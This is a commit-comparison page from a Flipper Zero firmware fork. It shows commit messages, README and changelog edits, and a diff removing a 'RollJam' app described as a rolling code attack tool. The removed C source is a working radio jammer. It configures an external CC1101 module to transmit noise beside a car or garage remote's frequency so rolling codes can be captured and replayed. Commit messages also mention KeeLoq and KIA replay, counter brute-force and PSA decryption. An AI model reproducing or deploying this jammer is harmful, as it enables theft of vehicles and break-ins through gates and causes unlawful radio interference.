Compare commits

...
Author SHA1 Message Date
David 90e1c2b850 Fix custom emulate placeholder metadata
Build Dev Firmware / build (push) Waiting to run
2026-07-18 15:46:00 +02:00
David b6d8d67c6e Fix custom emulate decoded metadata display
Build Dev Firmware / build (push) Waiting to run
2026-07-18 15:22:59 +02:00
David ac8909904e Add custom emulate button metadata fallback
Build Dev Firmware / build (push) Canceled after 0s
2026-07-17 15:55:02 +02:00
David d4d8b0e646 Initialize custom emulate button metadata 2026-07-17 15:49:57 +02:00
David 36483ec07d Align custom emulate button labels
Build Dev Firmware / build (push) Canceled after 0s
2026-07-17 14:12:38 +02:00
David 807e74b7d6 Use custom emulate UI when enabled
Build Dev Firmware / build (push) Canceled after 0s
2026-07-17 13:47:28 +02:00
David f4fe2d48c1 Improve SubGhz proto filter handling
Build Dev Firmware / build (push) Has been cancelled
2026-07-15 12:03:08 +02:00
d4rks1d33 bc59edff17 FlipperGB is more fluid and stable, tutorial ask on discord
Build Dev Firmware / build (push) Has been cancelled
2026-07-15 00:56:04 -03:00
d4rks1d33 63d951dc38 Update ProtoPirate
Build Dev Firmware / build (push) Has been cancelled
2026-07-13 22:15:44 -03:00
d4rks1d33 f1422cb701 Full dpad emulation on receiver scene not need to save the signal to use all the buttons 2026-07-13 22:14:08 -03:00
David f7b04f1382 Fix saved signal editor command and counter updates
Build Dev Firmware / build (push) Has been cancelled
2026-07-12 23:55:11 +02:00
David 7286b5c529 Avoid in-place FastFAP objcopy 2026-07-12 21:29:36 +02:00
David 6a49fd89a1 Fix saved signal editor availability 2026-07-12 21:21:28 +02:00
David c4378c2e20 Approve SubGhz custom button API symbol 2026-07-12 19:36:51 +02:00
David 6e5ba9ec22 Rework saved signal editor and duplicate warning 2026-07-12 16:31:22 +02:00
David 502570a18b Show signal editor from saved file menu 2026-07-12 14:22:44 +02:00
David e606c5b24f Add saved signal editor and duplicate detection 2026-07-12 13:58:10 +02:00
David b34a73b08a Keep protocol encoders running while held
Build Dev Firmware / build (push) Has been cancelled
2026-07-12 11:54:06 +02:00
David 069a42d697 Repeat car emulate TX while held
Build Dev Firmware / build (push) Has been cancelled
2026-07-12 11:24:21 +02:00
David 2a182a2f5c Allow saved KIA V5 captures to reopen
Build Dev Firmware / build (push) Has been cancelled
2026-07-11 18:33:15 +02:00
David b13f42f8bc Fix KeeLoq and KIA V5 replay handling
Build Dev Firmware / build (push) Has been cancelled
2026-07-11 18:00:58 +02:00
d4rks1d33 0d598b854c Added FlipperGB
Build Dev Firmware / build (push) Has been cancelled
2026-07-02 22:45:05 -03:00
d4rks1d33 492cee4373 Fix frezze on exit FlipperDoom
Build Dev Firmware / build (push) Has been cancelled
2026-07-02 22:17:59 -03:00
d4rks1d33 a0c53e381c Added better Doom for fun xD
Build Dev Firmware / build (push) Has been cancelled
2026-07-02 20:50:10 -03:00
d4rks1d33 46d7e1263c Updated ProtoPirate, new Zero-Mega version (amazing updates)
Build Dev Firmware / build (push) Successful in 17m44s
2026-06-30 20:47:24 -03:00
d4rks1d33 426607f916 Thanks AussieMike for renaming Garage Door App, thanks to this ProtoPirate NOW is working!
Build Dev Firmware / build (push) Successful in 18m26s
2026-06-29 21:47:52 -03:00
d4rks1d33 5badcb6143 Fxck! 2.0 RollJam works + emulation only AM protocols -- ProtoPirate has the same base issue so when I finish fixing RollJam FM emulation should be able to replicate the fix into ProtoPirate
Build Dev Firmware / build (push) Failing after 14m51s
2026-06-27 00:59:44 -03:00
d4rks1d33 7ebd996eed Fxck! 2.0
Build Dev Firmware / build (push) Successful in 16m53s
2026-06-26 00:52:09 -03:00
d4rks1d33 e89b329b54 Fxck!
Build Dev Firmware / build (push) Failing after 14m46s
2026-06-25 20:22:59 -03:00
d4rks1d33 d490cfa8f4 pls work
Build Dev Firmware / build (push) Failing after 41s
2026-06-25 20:19:38 -03:00
d4rks1d33 abf0d8ca78 fixes 2026-06-25 20:14:09 -03:00
d4rks1d33 7f7022b960 Details
Build Dev Firmware / build (push) Failing after 42s
2026-06-25 01:44:50 -03:00
d4rks1d33 3a63e14399 Two new apps on SubGhz: Garage Door Remote (ProtoPirate for garage doors and gates, pretty much that), and RollJam (it works now, the only problem is that it doesn't emulate saved signals, but RollJam itself works...minor fixes). Big kudos to Zero-Mega who helped with both apps! 2026-06-25 01:38:16 -03:00
d4rks1d33 99ac826a49 Added script to easily add new tables to modulation hopping (depending on which specific modulation you want to use)
Build Dev Firmware / build (push) Successful in 17m30s
2026-06-13 17:12:39 -03:00
d4rks1d33 a3698f93a9 Improvements in modulation hopping. Thanks Zero-Mega
Build Dev Firmware / build (push) Successful in 16m28s
2026-06-13 16:56:02 -03:00
d4rks1d33 94dcc82483 Official Flipper Mobile APP is now working
Build Dev Firmware / build (push) Successful in 16m58s
2026-06-12 22:36:08 -03:00
d4rks1d33 9b7499be36 Fix kia v3/v4/v5
Build Dev Firmware / build (push) Successful in 17m16s
2026-06-12 20:59:48 -03:00
d4rks1d33 018a5feb29 Add Toyota Keeloq (only decode)
Build Dev Firmware / build (push) Failing after 14m50s
2026-06-07 23:45:08 -03:00
d4rks1d33 4478f99dfe fixes
Build Dev Firmware / build (push) Failing after 14m50s
2026-06-05 20:46:07 -03:00
d4rks1d33 ad4c171054 A lot of changes
Build Dev Firmware / build (push) Failing after 14m40s
2026-06-02 23:32:16 -03:00
d4rks1d33 048fcc39e4 Fixes. Now yes I go to sleep xD
Build Dev Firmware / build (push) Successful in 3m29s
2026-06-01 01:22:49 -03:00
d4rks1d33 f5c211041b Fixes and updates, thanks to Zero-Mega. ProtoPirate is now an external app for those who prefer to use it. Now I need to sleep xD 2026-06-01 01:19:02 -03:00
d4rks1d33 589a2e36f2 Fixes and updates, thanks to Zero-Mega. ProtoPirate is now an external app for those who prefer to use it. Now I need to sleep xD
Build Dev Firmware / build (push) Failing after 14m47s
2026-06-01 01:09:08 -03:00
d4rks1d33 161e26f2dc Fixes and updates, thanks to Zero-Mega. ProtoPirate is now an external app for those who prefer to use it. Now I need to sleep xD 2026-06-01 01:08:30 -03:00
d4rks1d33 bf9ca01621 small fixes
Build Dev Firmware / build (push) Successful in 2m14s
2026-05-24 21:58:43 -03:00
d4rks1d33 86f5aae002 Remove spanish comments
Build Dev Firmware / build (push) Failing after 14m41s
2026-05-18 22:54:40 -03:00
d4rks1d33 46f3a5c993 More updates :D 2026-05-18 22:53:07 -03:00
D4rk$1d3andGitHub 52015fb289 Update README
Build Dev Firmware / build (push) Failing after 16s
Added images for Custom Emulation Settings and Scene.
2026-05-18 20:52:27 -03:00
D4rk$1d3andGitHub 23ba62cd69 Add files via upload 2026-05-18 20:49:21 -03:00
d4rks1d33 cd1e9d6945 Stupid chatGPT that add utm_source=chatgpt.com on links
Build Dev Firmware / build (push) Failing after 18s
2026-05-18 20:39:55 -03:00
d4rks1d33 c49b843096 Stupid chatGPT that add utm_source=chatgpt.com on links 2026-05-18 20:37:13 -03:00
d4rks1d33 0c35337bb7 Some updates 2026-05-18 20:33:56 -03:00
d4rks1d33 e419b9865a Rollback
Build Dev Firmware / build (push) Failing after 16s
2026-05-08 16:21:24 +00:00
D4rk$1d3andGitHub a89cb55529 Update README.md
Build Dev Firmware / build (push) Successful in 7m23s
Updated the Special Thanks section to include a table format with contributor images and a message of appreciation.
2026-05-06 21:46:57 -03:00
D4rk$1d3andGitHub efa653c7cf Update contributors section in README.md
Build Dev Firmware / build (push) Successful in 7m9s
2026-05-05 00:54:31 -03:00
14753 changed files with 3151960 additions and 4245 deletions
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

+19
View File
@@ -0,0 +1,19 @@
# Changelog
---
### Added
- Protocol name allowlist filter: in Receiver Config, a new "Proto Filter"
field accepts a comma-separated list of protocol names (e.g. "Ford V2,VAG").
When set, the receiver ignores all decoded signals that are not in the list,
reducing RAM usage and increasing the chance of capturing the target protocol.
Leave empty to disable (default behavior, all protocols accepted).
Setting is persisted in last_subghz.settings under the ProtocolFilter key.
### Changed
- Protocol Filter: replaced free-text input with a dedicated protocol list
scene (Proto Filter in Receiver Config). All registered protocols are shown
as toggleable items (--- / ONLY). Selecting one or more protocols restricts
the receiver to only show those; leaving all as --- disables the filter.
The active count is shown inline in Receiver Config ("N set" or "All").
Filter is persisted across sessions and cleared by Reset to default.
+31 -11
View File
@@ -22,6 +22,7 @@ This project may incorporate, adapt, or build upon **other open-source projects*
- [Contribution Policy](#contribution-policy)
- [Citations & References](#citations--references)
- [Disclaimer](#disclaimer)
- [Special Thanks](#special-thanks-to-everyone-who-contributes-to-this-project)
---
@@ -35,6 +36,8 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| Keeloq Key Manager | Mod Hopping Config |
| ![PSA Decrypt](.arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](.arf_pictures/counter_bruteforce.png) |
| PSA XTEA Decrypt | Counter BruteForce |
| ![Custom Emulation Settings](.arf_pictures/custom_emulation_settings.png) | ![Custom Emulation Scene](.arf_pictures/custom_emulation_scene.png) |
| Custom Emulation Settings | Custom Emulation Scene |
---
@@ -352,15 +355,32 @@ IN NO EVENT SHALL THE AUTHORS, COPYRIGHT HOLDERS, OR CONTRIBUTORS BE LIABLE FOR
---
### Special thanks to everyone who contributes to this project (in alphabetical order):
## Special thanks to everyone who contributes to this project:
- 47LeCoste
- Ash
- D4c1
- D4rks1d3
- LTX74
- Leeroy
- lupettohf
- MMX
- RalphWiggum
- zero-mega
## Contributors (GitHub)
<a href="https://github.com/d4c1-labs/Flipper-ARF/graphs/contributors">
<img src="https://contrib.rocks/image?repo=d4c1-labs/Flipper-ARF"/>
</a>
## Special Thanks
<table align="center">
<tr>
<td align="center">
<a href="https://github.com/whatthefxck">
<img src="https://avatars.githubusercontent.com/whatthefxck?s=80" width="80" height="80" alt="whatthefxck"/>
</a>
</td>
<td align="center">
<a href="https://github.com/zero-mega">
<img src="https://avatars.githubusercontent.com/zero-mega?s=80" width="80" height="80" alt="zero-mega"/>
</a>
</td>
</tr>
</table>
<p align="center">
Special thanks to everyone who contributed code, testing, reversing,
research, ideas, captures and documentation.
</p>
-23
View File
@@ -1,23 +0,0 @@
App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)
@@ -1,521 +0,0 @@
#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power
// ============================================================
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
use_flux_capacitor = enabled;
}
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
static const GpioPin* pin_amp = &gpio_ext_pc3;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Band calibration
// ============================================================
typedef struct {
uint32_t min_freq;
uint32_t max_freq;
uint8_t fscal3;
uint8_t fscal2;
uint8_t fscal1;
uint8_t fscal0;
} ExtBandCal;
static const ExtBandCal ext_band_cals[] = {
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
};
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
return &ext_band_cals[i];
}
return &ext_band_cals[1];
}
static inline void spi_delay(void) {
for(int i = 0; i < 16; i++) __NOP();
}
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a); spi_byte(v);
cs_hi();
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x30);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x11);
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
return (st == MARC_IDLE);
}
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x00);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
return (cc_state() == MARC_IDLE);
}
static void ext_gpio_init_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
static void ext_gpio_deinit_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Noise pattern & jam helpers
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, pattern, len);
cc_strobe(CC_STX);
furi_delay_ms(5);
}
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
ext_gpio_init_spi_pins();
furi_delay_ms(5);
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: Chip no detectado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
bool jam_ok;
if(app->mod_index == ModIndex_FM238)
jam_ok = cc_configure_jam_fsk(freq_pos, false);
else if(app->mod_index == ModIndex_FM476)
jam_ok = cc_configure_jam_fsk(freq_pos, true);
else
jam_ok = cc_configure_jam(freq_pos);
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
static const uint8_t noise_pattern[62] = {
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55
};
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
jam_start_tx(noise_pattern, 62);
uint8_t st = cc_state();
if(st != MARC_TX) {
cc_idle();
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_pos = true;
while(app->jam_thread_running) {
loops++;
if(is_fsk && (loops % 4 == 0)) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_pos = !on_pos;
cc_set_freq(on_pos ? freq_pos : freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
uint8_t txb = cc_txbytes();
if(txb < 20) {
uint8_t space = 62 - txb;
if(space > 50) space = 50;
cc_write_burst(CC_TXFIFO, noise_pattern, space);
refills++;
}
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
loops, underflows, refills, cc_txbytes());
}
furi_delay_ms(50);
}
cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
ext_gpio_deinit_spi_pins();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// Public API
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
app->jam_thread_running = true;
app->jamming_active = true;
rolljam_ext_power_on();
furi_delay_ms(50);
rolljam_ext_gpio_init();
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}
@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_set_flux_capacitor(bool enabled);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);
@@ -1,689 +0,0 @@
#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_PKTCTRL0 0x08
#define CC_PKTCTRL1 0x07
#define CC_FSCTRL1 0x0B
#define CC_WORCTRL 0x20
#define CC_FREND1 0x21
// OOK 650kHz
static const uint8_t preset_ook_650_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// OOK 270kHz
static const uint8_t preset_ook_270_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
